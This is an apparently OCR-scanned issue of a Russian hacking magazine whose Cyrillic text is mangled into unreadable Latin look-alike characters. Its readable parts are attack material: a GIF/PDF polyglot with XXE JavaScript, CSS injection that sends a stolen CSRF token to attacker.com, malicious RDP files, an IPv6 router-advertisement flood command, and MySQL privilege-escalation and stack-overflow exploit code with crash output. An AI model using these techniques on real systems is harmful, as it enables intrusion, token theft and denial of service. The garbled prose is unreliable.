1. Bpaysep pacno3HaeT faHHble Kak GIF v 0Tobpa3unT ux pucyHkom:

<img src="http://pdfxss.appspot.com/Son-of-Gifar/«
NotAPDF.gif" height=10 width=10></img>

2. bpaysep pacnosHaeT faHHble kak PDF 1 3anycTtut nnarux Acrobat
Reader:

<object data="http://pdfxss.appspot.com/—
Son-of-Gifar/NotAPDF.gif" type="application/pdf" «
width="500" height="500"></object>

C 3apayeit Mbl cnpaBuance. Elje pa3 noATBEPXKY, 4TO BMECTO
GIF'a Mbl MOXeM MoACTaBUTL NPaKTUYECKH 1060 Apyroit Gpopmar.

GIFE5s ENDUIPERDEND * GIIMHID: . . 57ip. . >DESDENR; YFOF-1, 1
10 obj

/Pages 3 0 R
fOpenhction 4 O R
/Type /Catalog

Puc. 1. 0guH dpain Ha pBomnx. CHavana — GIF, notom — PDF
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Xakepckue cekpeTbl MPOCTbIX Bellen

M npu 3TOM Mbl CMOXXeM 00X0[UTb MHOTVE MPOBEPKM 3arpy>KaeMblx
LaHHbIX, TaK Kak paclumpeHue y Hac byfeT BepHoe, Aa 1 caM dain
B Hayane npaBunbHoOro popmata. lanee — npodut n obetlaHHble
NpUMEPYUKU.

Ha nepBbiii B3rnap, Mbl ynupaemcs B npensTcTene — Heobxoamn-
MOCTb yKa3aTb 00paboTunk Ha caiite xepTBbl. To ecTb, 4Tobbl PDF
3apabotan kak PDF, HaM HyXXHO To4HO yKa3aTb Ter object, a ans aToro
Haf0 NMeTb BO3MOXHOCTb BCTaBnaTb HTML-kop Ha caiiT epTBbl.

A pa3 Tak, T0o KaKOW TOrAa CMbICJI, €CJIN Mbl YK€ UMEEM BO3MOXHOCTb
nna XSS?

Ha camoM pene kpytocTb PDF B faHHOM ciyyae B TOM, 4TO BHe
33BMCUMOCTY OT TOFO, C KAKOro JOMEHa Mbl ero nogrpyxaem (1o ects
rae Hanucax Ter object), PDF gakTnyecku 0THOCKTCS K TOMY LOMEHY,
Ha KOTOPOM OH XoCTUTCH (TO eCTb Kyaa yKasbiBaeT aTpubyT data Tera
object). Takum 06pasom, nosyyaercs, YTo Mbl BewlaeM y cebsa cTpaHuy-
Ky C BbI30BOM B object PDF'ku c aTakyeMoro HaMu cepsepa, W, Koraa
Mbl 3aMaHUM Ha CTPaHWYKY Hally XepTBy, ero bpaysep obpaboTaet ee
kak PDF u 3anyctuT nnarun Acrobat Reader’a, co BceMu BbiTekatoLim-
MU 0TCIO[,@ NOCNeACTBUSMU.

MocnepcTaud. Kak Mbl BUAMM, 34eCbh C TOYKYM 3peHuns Acrobat
Reader’a HeT HapyweHwus Same Origin Policy, a noToMy Mbl MOXeM
BbLIMOJHSATL MPOM3BOJIbHbIE 3anpockl (Ha TOT joMeH, rae xocTutcs PDF),
1 npu 3ToM HeobxoanMble Kyku byayT aBTomaTomM fobaBnsaTbes bpayse-
poM, NoflyyaTb 0TBeThI U 06pabaTbiBaTh MX ¢ nomoLybio JavaScripta,
BcTpoeHHoro B PDF. Mo cyTw, Mbl UMeeM noyTV CTaHAAPTHYIO XpaHu-
Myto XSS'ky B Buge PDF-daina.

Hy v HebonbLuoV NpUMep, Kak MOXHO MHWLIMANN3MPOBaTb 3TK 3a-
npockl (Kycok PDF'ku):

>>stream

var xml="<?xml version=\"1.0\" encoding=\"IS0-8859-1\"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM \"http://«
pdfxss.appspot.com/secret.txt\">]>

<foo>&xxe;</foo>";

var xdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value)) ;

endstream

MpocTo yrap! Mbl MoxeM 0603HauunTh ceoto XML ¢ DTD n XXE
CO CCbIJIKOW Ha UHTepecyloLLyto CTPaHULY X0CTa, 3aCTaBWUTb 0TNap-
cnTb ee u nonyuntb oteeT. O yxxac — XXE Besge :). CTouT oTMeTHTS,
4TO 3/1eCb Mbl He 103aeM Kakue-To ys3BumocTu Acrobat Reader’a, aTo
npocTo ero duya, u ucnpaensats ee Adobe B 6nunxaliiee BpeMs He co-
bupaetcs!

Ha pwvc. 3 npencTaBneH npuMep Bcelt ataku. 34ecCh Xs-sniper.
com — [LOMeH aTaKyIoLLero, Kyfa 3aMaHNBaeTCs NONb30BaTe/b-KepT-
Ba, a pdfxss.appspot.com — cepBepa-XepTBbl C 3a/UTbIM Ha Hero daii-
nom GIF-PDF-myTanToM — XML.gif. PDF'ka genaet 3anpoc Ha http://
pdfxss.appspot.com/secret.txt ¢ HeobxoaumbiMu Kykamu (asdasdasd)
1 MofyYaeT XpaHaLLmecs B HeM aHHble.

Tenepb o MuHycax. Y Chrome ucnonb3yeTcs cBOs, BCTPOEHHas
Bepcus PDF-pupepa, koTopas yxe nponatyeHa. Bropas npobnema —
c IE. Mo ymonyaHwio PDF'kK NonHOCTbIO CKa4YMBaTCs € cainTa u GakTu-

NoJqIY4YUTb AAHHBIE C MOMOLLbIO

PELLEHME

[laBaii npeacTtaBum cebe Beb-npunoxeHve, B KOTOPOM BCe XOPOLLO.
CTpaluHble CUMBOJbI GUALTPYIOTCS, @ HA BCE BaXKHble onepaLuy TpebyeT-
cs TokeH (B KauecTse 3awnTbl o7 CSRF), fia v ¢ ocTanbHbIM BCe B nopag-
ke. W kasanock 6bl, 3gecb HaM 0cobo He nogkonaTbes. OgHaKo NyTv eCTb.
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YeCKU 3anycKaloTcs yxe 1oKasbHo (13 nanku «Temp»). To ecTb XSS Mbl
TepsieM, Tak Kak nojly4aeM HeobXoANMOCTb BbIMONTHATH y)Ke KPOCCH0-
MeHHbIe 3anpocsl 1 cTankuaemcs ¢ Same Origin Policy... B gpyrux xe
6paysepax Bce xopolwo paboTaert :).

XoTenock 6bl elle 0TMETUTb, 4TO BCA 3Ta KPYTOCTb Oblna noyepn-
HyTay Bunnu Puoca (Billy Rios) ¢ ynetroro 6nora (g00.gl/dMXNG). Emy
yBaxeHue u 6rarogapHocTv ot Hac 3.

This iz a gif file

The same file is alse a POF :)
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Puc. 3. PDF'ka genaeT 3anpoc v nofyyaer oTBeT, 6xop Kyku pobaBnset 6paysep

CSS

Ecnn Mbl MoXeM BAMATb Ha KOHTEHT KaKOM-TO CTPaHMLbl U BCTa-
BWTb B Hee Bpofe Bbl HeCTpaluHble CUMBOJBI KpUBbLIX cKo6ok ({ }),
a CTpaHMLa 3Ta COLEPXUT TOKEH, TO Mbl MOXEM YKpacTb ero. He 3Hato,
HaCKOJIbKO ONMCaHWe NosyYnnoch NOHATHBLIM, Tak 4TO BOT NpUMep —
PHP-ckpunT Ha aTakyeMoM cepeepe (index.php):
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B3JIOM/EASYHACK

<html>
<title>victim</title>
<body>
<p><?php print filter($_GET['x"']); ?></p>
<form>
<input type="text" name="operation"></input>
<input type="hidden" name="token">111111122222</input>
</form>
</body>
</html>

34ech NpefnonoXuM, 4to pyHkuUus filter dunbTpyeT ocHOBHbIE
onacHble cuMBObI [“<>). A ToKeH AN NoKasaTebHOCTU NpeAcTaBIeH
B BM/l€ CTATUYECKOro 3HaYeHus. Hawa uenb — noayynTb TOKeH, 4Tobbl
060iTn 3awmTy o1 CSRF; Toraa Mbl Morin Gbl MpoBecTU Kakyto-To
CTpaLUHYto onepaLuio.

PeweHne panHoi 3afa4um MoxeT bbITh Aaxe 6onee 4eM NPoCTbIM.
CyTb MAEM 3aKN0YAETCH B TOM, YTO Mbl MOXKEM BbIaTh 3Ty aTakyeMyio
cTpanuyy 3a CSS-cTunb, NOArpy3nThb €ro Ha CBO CTPaHWLY U nony-
4nTb K HeMy pocTyn u3 JavaScript. OcHoBbIBaeTCs 3Ta MAes Ha ABYX
Beluax. Bo-nepBbix, Mbl MOXEM MHXEKTMPOBATbL B MPUIOXEHNE CBOK
[aHHble; TaKUM 00pa30M Mbl MOXEM 06bSBUTH CBOV CTUIIb BHYTPU
cTpaHuubl. Hanpumep, Tak:

http://victim.com/index.php?x={}*{font-family:"

Bo-BTopbix, npaBuna napcuHra bpaysepamu CSS o4eHb rymMmaHHbl,
a noToMmy bpaysepbl nponyckatoT Bce nwHee (Hanpumep, HTML-tern)
1 MOATPYXKAT NIULLb MHTEpecyloL e ux 06basneHus ctuner. To ecTb
eC/in Mbl pa3mecTuM y cebsi Ha Beb-cepBepe cnelmanbHyto CTpaHuLy
c ykasaHueM CSS Ha aTakyeMblii HAMW CKPUNT cepaepa:

<title>attacker</title>

<link rel="stylesheet" href="http://victim.com/«
index.php?x={}*{font-family:'" type="text/css">
<body>

11 3aMaHuM Ha Hee Hally XepTBY, To bpay3ep )epTBbl NonbiTaeTcs
MOATPY3UTb CTWJIb, MOATPY3NT €r0 ¥ NOJTYYUT MPUMEPHO ClieayloLee
3HauveHwue ans font-family:

font-family : </p><form> <input type="text" «
name="operation"></input><input type="hidden"
name="token">111111122222</input>...

Ho 4To ellle Kpy4e, Mbl MOXKEM BbIHYTb 3T0 3Ha4Y€eHWeE, MPOCTO
obpatuswuck k «document.body.currentStyle.fontFamily» yepes
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MonHbIN BEKTOP aTaKu C OfHOT0 AOMEHA

JavaScript. To ecTb B Hallly cneyuanbHyto cTpaHuLy TpebyeTtcs foba-
BUTb CNeAyIoLWni Kog, 4Tobbl nepecnath faHHble 13 font-family:

<script>
document.write('<img src=http://attacker.com/«
aaaaa? '+escape(document.body.currentStyle.fontFamily ).
1050

</script>

Wtak, 0606wy npuMep. Mbl 3aroHsieM Nonb30BaTeNs Ha Hally
CTpaHuLy Ha HaweMm gomeHe. Ero bpaysep BuauT ccbinky Ha CSS
Ha aTakyeMoM cepBepe 1 NoArpyxaeT Bce, YTo MAET noche onpepe-
nexus "font-family:". Mocne Yero Mbl MOXeM NPOYNTaTb 3TO 3HAYEHWE
c noMolwbio JavaScript  BbIHYTb MHTEPECYOWMI HaC TOKeH :). o cyTu,
y Hac TyT HapywweHwne Same Origin Policy.

Hy a Tenepb HEMHOr0 0 FpycTHOM. XoTs cnocob 1 KpyTol (ya3BMMbI
K HEMY MPOCTO MUMIIMOHbI CAliTOB), HO C HEKMX MOP OH HefencTBNTe-
neH. MpnynHa B ToM, YTo NpoluapucTbie 6e30MacHUKN HaBEIWN NaHWKK
napy neT Hasapa 1 paspaboTunku bpay3epoB NpUKpbINN BEKTOP.
Tenepsb, No naee, 3anpeweHo ncnonbsosat CSS'ku ¢ Apyrux go-
MEHOB, XOTsl, eC/I1 MOCMOTPEeTb Ha TpaduK, 3anpoc Ha 3arpy3sky CSS
NPOUCXOAMUT...

3pech, AyMato, CTONT OTMETUTb, YTO B KOHTEKCTE OLHOr0 JOMeHa
BCe paboTaeT OTANYHO (XOTS TONKY OT 3TOr0 He 04eHb MHOTO). Tak
4TO CYMTal 3TY 3afa4Ky NPOCTO MPUMEPOM U OCHOBOW LIS Pa3MblLL -
neHus.

UCNOJIb30BATb RDP AJiA HANAAEHUA

PELLUEHWE

MosiBNeHne NobOM TEXHOMOTMM CYIUT Yalle BCEro 1 HoBble cneyndu-
yeckue npobnembl. KoHeyHo, MUKpoCOpTOBCKME CNYXObl TEPMU-
HanoB — LUTYKa COBCEM He HoBas, fjaxe bopoAaTas ¥ BO MHOTOM
cekblopHas. TeM He MeHee UCMOb30BaTh ee B «3J1bIX» LesIdX MOXeT
BbITb 04EHb flaXKe MHTepecHO. MTak, NpeanoaoKnNM, 4TO 3710y MblLL-
NIEHHUK [LOJKEH aTakoBaTb Kakylo-TO KOPMopaTUBHYIO CeTb, @ TOYHEE,
ee nosib3oBaTesent.

RDP (B LUMPOKOM CMbIC/Ie 3TOFO COKPALLEHNA) MO3BONAET NOJb-
30BaTeNsM yjaneHHo paboTaTb Ha XOCTe, MCNOMb3Ys HATUBHbIN
rpaduyeckuit nHTepdeiic. Ho Kak MOXXHO aTakoBaTb NoNib30BaTeNel,
obnagas goctynom Kk RDP-cepBepy? CaMblil NpoCTO BapuaHT NexuT
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B BO3MOXHOCTV aBTOMaTH4€CKOr0 MOHTUPOBAHMA IMCKOB U YCTPOMCTB
KnveHTa npu noakntoyeHun k RDP-cepsepy. To ecTb Npu noakoye-
Hum to3epa k RDP-cepBepy ucku Kak bbl pacwapuatotcs gns RDP-
cepBepa 1y Hero NosBASeTCS BO3MOXHOCTb 3a/IUTh Ha KJIMEHT Nitobble
daiinbl B noboe MecTo (B 3aBMCMMOCTY OT NpaB to3epa 8 coelt OC,
pasymeetcs). KOHEYHO, M0 yMONYAHMIO [UCKM HE MOHTUPYIOTCS,

HO 3[1eCb eCTb HEKOTOPbIE TOHKOCTU.

Bo-nepebix, yepes ctaHgaptHbll RDOP-kueHT [mstsc) HeT Bo3-
MOXHOCTW 33/1aBaTb, NPU NOJKIIOYEHUN K KAKOMY CepBepy MOHTUPO-
BaTb AUCK, @ K KaKOMy — HeT. TaM ncnonb3ytoTcs obLye HacTPONKK
ANS BCeX NoAKYeHnA. TakM 06pa3oM, A0CTaTOYHO HaCTo NoJlyyaeT-
s, 4T0 aAMUHMCTpaTopbl xoAAT Ha RDP no cepsepaM c noakoYeHHbI-
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Xakepckue cekpeTbl MPOCTbIX Bellen

MU AMCKaMK, 1 3TO CO3[aeT NPeKpacHyto 0CHOBY Ans aTaku. Mo cyTu,
HY>XHO 3aXBaTWUTb KOHTPOJb HaJ OAHWUM W3 CEPBEPOB M TEM WUIW UHBIM
06pa3oM 3acTaBUTb af{MUHa 3aliTV Ha Hero, a filalee ToNbKo NpoduT
cobupali, Tak Kak afiIMUHCKasi TaYKa yXKe B HaLWUX pyKax.

Bo-BTOpbIX, MOXKHO HAaCK/IbHO BKJIYMTL ONLMI0 NOAKIOYEHNS
LUCKOB — 3a CYeT yKa3aHWs COOTBeTCTBYIoLWMX HacTpoek B RDP-
dbarnax. 1 370 poxaaeT HECKONbKO UHOW BEKTOP aTaku — aTaky
Ha 6e3yMHbIX 0dUCHBIX Nosb3oBaTeseit. CyTb 3aki04aeTcs B TOM,
4TO 3/10yMbILLNIEHHWNK MOXET co3AaTh Takot RDP-daiin, npu 3anycke
KOTOPOro Yy Nosib30BaTesIs HUYEro crnpalmnBaTbes He OyAeT, a aBTo-

MaTU4ecku NpousoiaeT nogkayeHue k RDP-cepsepy c aBTOMOHTU-
pOBaHMEM IUCKOB U MOCeAYOLLMM 3aXBAaTOM KOHTPOJISA M0JIb30Ba-
TenbCKOW Taykoi. KoHeyHo, 3aechb noTpebyeTcs NposBUTL HEMHOTO
coumanbHo MHXeHepun. HanpuMep, MoXHO pa3ocnatb 0QUCHbIM
paboTHUKAM NMUcbMa C NpunoxeHHbIMU RDP wkamu v npocb6oii nx
3anycTUTb LN TECTUPOBAHUA KaKON-TO HOBOW cucTeMbl. Takne dainbl
He BbI30BYT N003peHNs y 0QUCHOr0 HAapOAa, U, 5 yBepeH, bobLUNH-
CTBO BbIMOJIHUT HE0OX0AMMbIE [eNCTBUS.

Bupeonpumepbl MoxxHo nocMoTpeThb y Wicked Clown, TaM xe npu-
Mep bat'Hnuka gna 3anmeku «wenna» — goo.ql/liJVx.

OTKA3 B OBCJ1TYXXUBAHUWN YEPE3 IPVé

PELLIEHMNE

IPv6 npeT Ham HaBcTpeyy focTaTouHo bonblwmnmMu waramu. KoHeywo,
€ro CMJIbHO MOATAIKMBAKT N3-3a 3aKaHuynBawLwuxcs MecT B [Pv4,

HO C y4eTOM TOr0, Kak MUP HEOXOTHO MEHSETCS 1 Kakue ecTb npobne-
Mbl c 0bpaTHOW NOALEPXKKON, Waru v npasfa ruraHtckue. K npumepy,
y 60NbWMHCTBA COBPEMEHHbIX CETEBbIX CUCTEM YXKe M0 YMOAYaHMIo
BKJltoyeH IPvé-cTek.

M B noaTBepxaeHue cerofHsLwHen obwwen Tembl, IPvb Takxe He-
CeT HOBble BO3MOXHOCTW, HO C HUMU U HOBble BEKTOPbI aTak, U HOBbIE
ysi3BUMOCTH. Kak NpocTeiiLunii NpuMep MOXHO BCMOMHUTL CUTYaLWio,
KOrfa eCcTb Hekuit GanpBos, KOTOPbIN OCYLLECTBASET NPaBubHY0
bunbrpaumio. Mpobnema B TOM, 4T0 GUALTPALUS MPOUCXOAUT TOSLKO
ons IPv4, a B To xe BpeMs IPvb 06aeneHa KakuM-To BHUMaHMEM.

W/ 3HauNT, 3710yMbILLNEHHUK MOXXET NPOBOAWTL BCE CBOU aTaku, MpocTo
nepenpas Ha IPvb-appecayuto. B obuiem, Mbl, Kak aTakytLias CTOPOHa,
MOXEeM TOJIbKO MOpafi0BaTbCs HOBLUECTBY.

Ho naBaii nepeifieM K Halwel 3afade. Heckonbko neT Hasap
pecepyepbl U3 pa3HbIX CTPaH Hayanu yceppHo konate IPvé u Hakonanu
Ny4yok pasnuyHbix baros. OAHUM U3 TakuUx cTana cHorcwmbaTtenb-

Has wryka — ICMPvé Router Announcements flood (xex, npw Buge
TaKoro Ha3BaHus BcnoMuHaetcs Havano 2000-x ¢ syn-dnypom, land
u teardrop’amn).

Router Announcements B neranbHbIX LLensix UCnonb3yeTtcs
LJ19 TOT0, 4TObbI, KOrga K MOACETU NOAKIIOUUACS HOBBIN POyTep, OH MOT
Bbl 0603HAYMTL CBOE NOSIBNIEHWE LPYrKM X0CcTaM. Tuna: «s Takoii-To
1 0TBEYAl0 3a TaKyl-TO NoACeTKY». /l BCe XOCTbI, MOJYYMB TaKON NakKer,
06HOBASAKT cBOM TabNMYKM MapLpyTU3auum, [06aBNss HOBbIE jaH-
Hble. KpoMe 3toro, RA MoxeT 6bITb MCNONb30BaHa 19 HEKOW 3aMeHbl
DHCP. W korga B OC ycTaHOBIEHA BO3MOXHOCTb @BTOMATUYECKOr0O
nonyyeHus IP, npu nonyyenun RA OC Takxe byaeT nbiTaTbCs NONYUYNTH
IP-appec B HOBOV noaceTke.

Hy, 1 symato, 4To, NpoymTaB faHHy MHGOPMALIMIO, Thl yXe [0-
rafblBaellbCs, B YEM CyTb aTaku. Kak s yxe rosopui, 6051bLINHCTBO
0C no yMonyaHuio uMetloT BKIoYeHHbIN IPv6, a Takxe noaaepxusatoT
aBTOMaTWU4eckoe nosyyeHne HacTpoek. TakuM 06pa3oM, ANns aTakm
HaM TpebyeTcs nocnath B NOLCETH MHOMO paHAOMHbIX RA-nakeTos,

1 XOCTbl, Moflyyas ux, bynyT 06HOBAATL TabAMLbl MapLIpyTU3aLUK.

Ho camoe cTpaiwHoe B TOM, 4T0 Ha 06HOBMIEHUE UX YXOANT 04eHb MHOTO
pecypcos 1 B utore OC nepectaeT HopManbHo paboTaTe. K npumepy,
0C Windows noepaeT BClo NaMATb U 3aHMMaeT BCe MPOLECCOPHOE Bpe-
Ms. [nwyT, 4To aHanornyHas cuTyaumus ectb ¢ FreeBSD v co cTapbiMu
Linux'amu, a Takxe ¢ ceTeBbIMM Aesancamu Juniper u Cisco! Mpuyem
TOT e MaiikpocodT coobLLmA, 4TO OHM He ByAYyT NAaTUUTb ITY «AbIPKY».
BeposTHo, 3T0 CBA3aHO C TEM, 4TO ANS 3aKPbITUSA LbIPKU HYXKHO 0T-
Ka3aTbCs OT NOALAEPXKM RA nnn GuibTpoBaTh UX KaK-To, a TOTAa Nosy-
4aeTCs OTKJIOHEHWe 0T CTaHAAPTOB, YTO COBCEM Hexopoluo. B obuem,
OJ19 aTaKyIoLWero BbIFASAUT M 3BYYMT BCE 3TO LWUKAPHO.

Tenepb npakTuka. M 3pecs Bce npocTo :). Hapoa us THC paspa6o-
Tan Habop Tyn3, HaueneHHbIX Ha IPvé, BKnovalolwuii B cebs n RA-
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dnygep (goo0.gl/0blwU). TakumM 06pa3om, HaM BCero NMLLb HaJo cKadyaTb
TY/3bl M BbINONHUTL KoMaHay (ana BackTrack):

flood_router6é ethe

roe ethO — vHTepdeiic, Kyna nocbinaTh NakeThl.

KcTaTu, nepep npoBefeHneM aTaku He 3abyab 3alnTuTh U cebs —
nakeTbl Befjb LUMPOKOBeLLaTesbHble, a NoToMy obpabaTbiBatoTcs BCeMu
fleBalicaMu B CETYW. TaK 4TO fjaBall HEMHOIO NOrOBOPMM 0 3awuTe oT RA
nns Windows. KoHeuHo, caMoe npocToe pelleHne — 0TKI4UTb IPvé.
Ho MOXHO 1 NpocTo 0TKNOYNTL NoALepXKY RA-nakeToB cnefyiolen
KOMaHoMm:

netsh interface ipv6 set interface "Local Area «
Connection"” routerdiscovery=disabled

CTOMT eLLie OTMETUTb U TO, 4TO U3-3a OMACHOCTYW aTak CTanun nosis-
NATLCH pas3siMyHble WTYKW s 3awnTel oT RA flood'a. Hanpumep, goo.
ql/z0EWa. Ho v ns HUX yxe npuayManu nytv 06xo4a — B 0OCHOBHOM
3a cyeT MaHUNyNALUA dparMeHTaLMeln NakeTos.

Boobuye, TexHUKa peanbHo yonincTBEHHA — «KafeTCcs» Bce
¥ B CYMTaHble ceKyHAbl. [ofpobHee MOXHO NoYNTaTh 34eCh —
g00.9l/fQoQk.

BoT v Bce. Hagewck, 4To 6b110 MHTEpecHO :). YenewHbix pecepyes
¥ No3HaHUit Hosoro!
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Mapa ceKyHA, 1 BCce BUHA0BbIE XOCTbI B MOACETH yNanu :)



B3JIOM/0B30P 3KCIMJ10MTOB

[ WARNING|

Bcs nHdpopmauus npepocTaBnaeHa MCKNIOYUTENBHO B 03HAKOMU-
TenbHbIX Uensax.

Hu pepakums, H1 aBToOp He HeCYT 0TBETCTBEHHOCTH 3a Nto6oi
BO3MOXHbIV Bpef, NPUYMHEHHbII MaTepuanaMu faHHOMN CTaTby.

Mecsu akcnnont-bymal 0-day rynstoT B nabnuke,
MPUBAaTHbIE 3KCMJIONTbI CTaHOBATCA bonee

noctynHbiMu! CeropHsa B Bbinycke: Exploit Market,
MySQL 0DAYs, Tectia Server, Skype, Zenphoto.

Jo30p _

Cepreii Benoe (sergeybelove.ru)
Naeen AnekcaHapoBuy (ivinside.blogspot.com)

—
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SKCMJSIOUNTOB

AHAJIU3 CBE)XXEHbKUX YA3BUMOCTEM

Exploit Market ot Inj3ctOr Ha caiiTe 1337day.
1 com

2 (Linux) Database Privilege Elevation Zeroday
Exploit

N/A N/A
(111 IRR0]]

N/A
BRIEF
Datapenusa:Hos6pb 2012
ABTop: 1337day.com

BHosbpeaTororonakomargalnj3ctOrHacBoem npoekTe 1337day.com
BbIKaTU/a HOBYIO MUY — MOKYNKY/MPOAaXY NPUBATHbBIX IKCMIOMTOB.
CncTeMa LoBONIbHO LOCTYMHAS, LeHbl MOKa He KycalTcs — B paioHe
5-200 gonnapos.

EXPLOIT

Camo nosiBneHne MarasuHa 3KCNI0MTOB AOBOIbHO OXXMAAEMO.
1337day.com v ananoru (Hanpumep, exploit-db.com) —ny6anyHsl.
MpuBaT06XOANT 3TU CAlThl CTOPOHON UM NOSBASETCH HA HUX HAMHO-
rono3sxe, asToBefbcaMoe nakomoe! iTak, npo camy cuctemy. Tenepb
Y KaX[,0roy nofib30BaTesNis eCTb «r0J14», KOTOPbIA MOXKHO UM KYNUTb
(1gold=1%$), unnsapaboTaTs B 3TOM Xe MarasuHe, npojasas CBou
akcnnonTol. [pu BbiBOAE bepeTca Hexunas komucena — 30%, MUHU-
ManbHas cyMMak BbiBofy — 1000 30510TbIx. Ha faHHbI MOMEHT caMbli
LOporoi B MarasuHe —cnnout gnsamssectHon IDSSnortoTo3epa
Xianur0—cTout2203000TbIX. OfHA U3 CaMbIX UHTEPECHbIX PULLEK
BHeM—HTTP pipelining, koTopbiii MoxeT npuecTn k DoS. XoTa KTo
3HaeT, YTO UMEHHO aBTOp peasnn30oBas B 4pPYrX BOZMOXKHOCTSX CNJION-
1a (LF/CRLF bypass, URL Encode, Snort Rules analyzer ntak ganee)?

CVSSV2 6.0
ERRENENNN

(BRIEF|

MaTtapenusa:2 fekabps 2012
ABTop: Kingcope
CVE:2012-5613

(AV:N/AC:M/AU:S/C:P/1:P/A:P)

MosbiweHwne npueuaernin B MySQL yepes Tpurrepsil.

Bnaropaps xakepy Kingcope 370T Mecsil, 0ka3asics HeBeposiTHO boraT
akcnnonTamm ona MySQL, xoTa paboTocnobHOCTb HEKOTOPbLIX M3 HUX
CTOUTNoA BONpocoM. Ho HayHeM cToro, 4To AeiicTBUTeNbHO paboTaeT
1 BbIN0 NPOTECTUPOBAHO YXKE MHOTUMU.

Pesynbratom paboTbl akcnnoiTa ssnseTcs fobasneHne noab3o-
BaTens MySQL cagMWHCKUMM NpaBaMu. 3By4YnT 3aMaH4MBo?

WUTak, 4To HaM HY)XHO NS aTaKMm:
1. ¥Yxe cywecTsytowuittosep cfile_priv.
2. Bo3MoxHoCTb co3[aBaTh Gpaiinbl B CUCTEMe OTNONb30BaTENS

“mysql”.
3. [JocTynkco3faHuio TpUrrepoBy TekyLlero 3epa. BaxHbii
MOMEHT—TPWITEepbl BbINOHATCS, KOrAa 3afaHHas KoMaHza
BbIMOJIHAETCS OT HYXHOr0 t03epa. B TunuyHoi paboTte Tpurrepsi
MySQL BbI3bIBalOTCS CMPUBUAETUAMU TOTO NONb30BaTENS, KOTOPbIN
eroco3spgan. Hotak kak Mbl MoXeM co3aTb Gaii C NPOM3BOSNbHBIM
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COLLEPXKMMbIM — Mbl UMEEM BO3MOXHOCTb YKa3aTb MPOU3BOJIbHOIO

to3epa /1% 3TOro TpUrrepa.

4. Wcnonb3oBaHWe y)Ke 0TKOMEHHOI0 MEPENOSIHEHNS CTEKA B OfLHOM
U3 BPYrMX 3KCNA0MTOB. 3TO 04eHb BaXHO, HAM HE0OXOAMMO N0 b bIM
cnocoboM KpaLlHyTb CEPBEp, MHaYe TpUrrep He bygeT npusHaH cep-

BepoM bes eronepesanycka.

Pa36op paboTbiakcnnonTa.

1. TMoaknioyaemcak cepepy MySQL.

2. CospaemTabnuuyrootme gnaTpurrepa

3. Cospaemdaintpurrepa/var/lib/mysql/<databasename>/rootme.
TRG.

4. Kpawwnmcepsep.[locne nepesanycka Hal Tpurrep 6yneTt pacnosHaH
CepBepoM.

5. [lobaBnsemHoByw 3annch B Tabauuy, 4Tobbl Hal TpUrrep BLINOA-
HUACS.

6. TpurrepBblfaeTBce NpaBaTekyLeMy nofKIOYEHHOMY l03epy
BTabnuue mysql.user.

7. CHoBakpawwnmMySQL ans 3arpy3ku HoBot KOHGUTYypaL KK 03epa

8. Co3paeMHOBOro03epacnofiHbIMY NpaBaMy.

9. CHoBaKpalwuM cepBep 45 penoafa Tekylei KOHGUrypaLum.

10. MopkntoyaeMca Mo HOBLIM L03€POM

11. HoBbil lo3ep MeeT LoCTyN Ko BceM 6a3aM faHHbIx!

12. laMnuM 3HauveHuns xewei naponen 3 Tabnuusl mysql.user, 4o iB-
N1eTCs 3HaKOM yCreLHoit paboTbl 3cknioiTa

13. HacnaxnaeMcs nosiHbIM JOCTYMOM ;)

Oracle ocnapuBaeT faHHYy0 yi3BMMOCTb, 3as1BJIiS, YTO BCE B MO-
psiAKe, M BCe CAMU BUHOBATbI, Pa3 He CIeAYI0T UHCTPYKLMAM Mo yCTa-
HoBke MySQL. AHatoTybe yxxe MOXHO HANTV BUE0, IEMOHCTPUpYHO-
liee cnosib3oBaHue flaHHoM baru.

TARGETS
MySQL5.1-5.5.

SOLUTION
McnpaBneHve Ha faHHbIA MOMEHT OTCYTCTBYET

3 MySQL (Linux) Stack based buffer overrun

CVSSV?2 6.5
(111 IRR0]]

BRIEF|

Datapenusa: 2 fekabps 2012
ABTop: Kingcope
CVE:2012-5611

(AV:L/AC:L/AU:N/C:N/I:N/A:C)

ABoTweLLle ofiHa Haxo4Ka oT Kingcope — oHa Ucnosib30Banach B IKC-
nnoiTe Bolwwe. [lepenonHeHne cTeka npu Bbigade npas (npu cospa-
HWM) nonb3oBaTenio.

EXPLOIT
MoCMOTPUM Ha KOZL 3KCMJI0MTa, OH HE CJIMLIKOM 3aMOPOYeHHbIN:

use strict;

use DBI();

# MNopknwyeHne K 6a3e JaHHbIX

my $dbh = DBI->connect("DBI:mysql:database=test;«
host=192.168.2.3;", "user", "secret",«
{'RaiseError' => 1});

$a ="A" x 100000;

my $sth = $dbh->prepare("grant file on $a.* to «
‘user'\@'%"' identified by 'secret’;");
$sth->execute();

XAKEP 01/168/2013
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MpuBaTHbIA cnnout Ans Snort. Multiple HTTP Bypass

# OTKNKYEeHWe OT 6a3bl AaHHbIX
$dbh->disconnect();

3aMeyaeM, 4TO B UMeHW Ba3bl AaHHbIX NepeAaeTcs CTPOKa AJIMHO
100 000 cnmBonoB, KoTopyto He MoxeT obpaboTaTb cepsep MySQL.
MonyyaeM kpaw. BarnsgHem Ha gamn namsaTu:

mysql@linux-1sd2:/root> gdb -c /var/lib/mysql/core

GNU gdb (GDB) SUSE (7.2-3.3)

Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later.

This is free software: you are free to change and redis
tribute it.

There is NO WARRANTY, to the extent permit
ted by law. Type "show copying"” and "show warranty" for
details.

Missing separate debuginfo for the main executable file
Try: zypper install -C "debuginfo(build-id)=«
768fdbea8f1bf1f7cfb34c7f532f7ddobdd76803"

[New Thread 8801]

[New Thread 8789]

[New Thread 8793]

[New Thread 8791]

[New Thread 8787]

[New Thread 8797]

[New Thread 8798]

[New Thread 8785]

[New Thread 8796]

[New Thread 8783]

Core was generated by '/usr/local/mysql/bin/mysqlde
--log=/tmp/mysqld.log".

Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

(gdb)

3aMeyaeM Hawm cumsonbl Ax 100000(414141...). B gaHHOM 3KkcnonTe
nepenosiHeHWe cTeka NnpoCcTo KPaLiuT CepBep, HO 3TO MOXET NPUBECTH
1 K BIMOJIHEHUWIO MPOW3BOJIbHbLIX KOMaH,

MySQL5.1-5.5.

OduumanbHbIX 3a9BNEHNIN HET, B barTpekepax TMKeTbl aKTUBHbI.
